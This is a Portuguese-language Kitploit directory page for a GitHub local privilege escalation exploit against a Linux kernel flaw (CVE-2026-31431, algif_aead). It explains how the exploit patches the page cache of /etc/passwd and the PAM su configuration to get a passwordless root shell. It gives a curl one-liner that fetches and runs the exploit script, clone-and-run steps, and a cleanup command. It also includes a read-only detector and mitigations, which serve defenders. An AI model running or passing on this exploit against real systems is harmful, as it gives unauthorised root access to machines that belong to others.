Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31431 — Local privilege escalation exploit for CVE-2026-31431 in Linux kernel's algif_aead, using splice to overwrite page cache and gain root. Includes a read-only detector. | Kitploit
Ferramentas/GitHubGitHub/mfloresdacunha/cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed Teaming
GitHubmfloresdacunha/cve-2026-31431

CVE-2026-31431

Local privilege escalation exploit for CVE-2026-31431 in Linux kernel's algif_aead, using splice to overwrite page cache and gain root. Includes a read-only detector.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 3 mesesAinda não revisado

CVE-2026-31431 — "Copy Fail" Escalonamento Local de Privilégios

Visão Geral

CVE-2026-31431 é uma vulnerabilidade de escalonamento local de privilégios no subsistema algif_aead do kernel Linux. A implementação AEAD do authencesn realiza uma decriptação in-place via splice(2), inserindo uma página do page cache na lista de dispersão de destino. Um valor de 4 bytes do AAD (seqno_lo) é escrito de volta nessa página do page cache antes da verificação da tag de autenticação — permitindo que um usuário sem privilégios sobrescreva bytes arbitrários do page cache do kernel em qualquer arquivo legível por todos.

Vulnerável desde: kernel 4.14 (agosto de 2017) — quando authencesn foi introduzido no algif_aead
Correções lançadas para: apenas as linhas estáveis 6.12, 6.17 e 6.18
Permanentemente sem correção: kernels 4.14–6.11 (EOL; nenhum backport será emitido)
Primitivas necessárias: socket AF_ALG, cifra authencesn(hmac(sha256),cbc(aes)), splice(2) em um fd de socket AF_ALG
Impacto: Escalonamento local de privilégios para root — totalmente automatizado, sem necessidade de senha

Como Funciona

O exploit aplica dois patches no page cache em sequência e, em seguida, executa su automaticamente:

  1. Patch em /etc/passwd — abre o arquivo (legível por todos), popula seu page cache e usa a primitiva splice do authencesn para alterar o campo UID de 4 dígitos do usuário atual para 0000. Após o patch, getpwnam() reporta o usuário como UID 0.

  2. Patch em /etc/pam.d/su — pam_rootok.so e pam_permit.so têm exatamente 13 caracteres cada. Duas escritas de 4 bytes substituem pam_rootok.so por pam_permit.so no page cache da configuração PAM. Como pam_permit sempre retorna PAM_SUCCESS, a linha auth sufficient existente é disparada imediatamente — nenhuma solicitação de senha é emitida.

  3. Shell automático — o script executa . O PAM autentica sem senha (passo 2) e tem sucesso porque reporta UID 0 (passo 1). Um shell root é retornado sem nenhuma interação do usuário.

Nenhuma escrita em disco ocorre em nenhum momento. Limpar o page cache (echo 3 > /proc/sys/vm/drop_caches) ou reiniciar o sistema reverte completamente ambos os patches.

Uso

Apenas para testes autorizados. Execute somente em hosts que você possui ou está explicitamente contratado para avaliar.

One-liner

root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3

Um shell root é retornado automaticamente — sem necessidade de senha.

Manual

root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py

Limpeza (a partir do shell root)

root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches

Requisitos

  • Kernel Linux 4.14–6.18; especificamente 4.14–6.11 sem correção (permanentemente) ou 6.12/6.17/6.18 sem o fix upstream aplicado
  • Suporte a socket AF_ALG habilitado (padrão na maioria das distribuições)
  • authencesn(hmac(sha256),cbc(aes)) carregável (padrão na maioria das distribuições)
  • Python 3.6+
  • UID de 4 dígitos (1000–9999)

Detecção

test_cve_2026_31431.py é um detector seguro e somente leitura incluído neste repositório. Ele exercita a primitiva splice do algif_aead contra um arquivo sentinela temporário criado em um diretório temporário — nenhum arquivo do sistema é tocado. Imprime um veredicto e encerra com um código bem definido:

Código de saídaSignificado
0Não vulnerável — pré-condição não atendida ou page cache não foi modificado

Execute assim:

root@kitploit:~
# One-liner (sem instalação necessária)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Código de saída: $?"

# Ou a partir de um clone local
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Código de saída: $?"

Exemplo de saída em kernel vulnerável:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!]   Surrounding bytes: 00000000504d4e4400000000  (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.

Exemplo de saída em kernel com correção aplicada:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.

Mitigação

  • Aplique o patch upstream do kernel.
  • Bloqueie o algif_aead via /etc/modprobe.d: install algif_aead /bin/false
  • Restrinja sockets AF_ALG com políticas seccomp ou LSM.

Referências

  • Divulgação Copy Fail
  • Fix upstream: net/tls + crypto/algif_aead — isolamento da lista de dispersão de destino in-place do authencesn
Baixar ferramenta
su <usuário>
setuid(0)
getpwnam()
1Erro no teste (ex.: AF_ALG indisponível, splice não suportado)
2VULNERÁVEL — bytes marcadores foram inseridos na página do page cache spliceada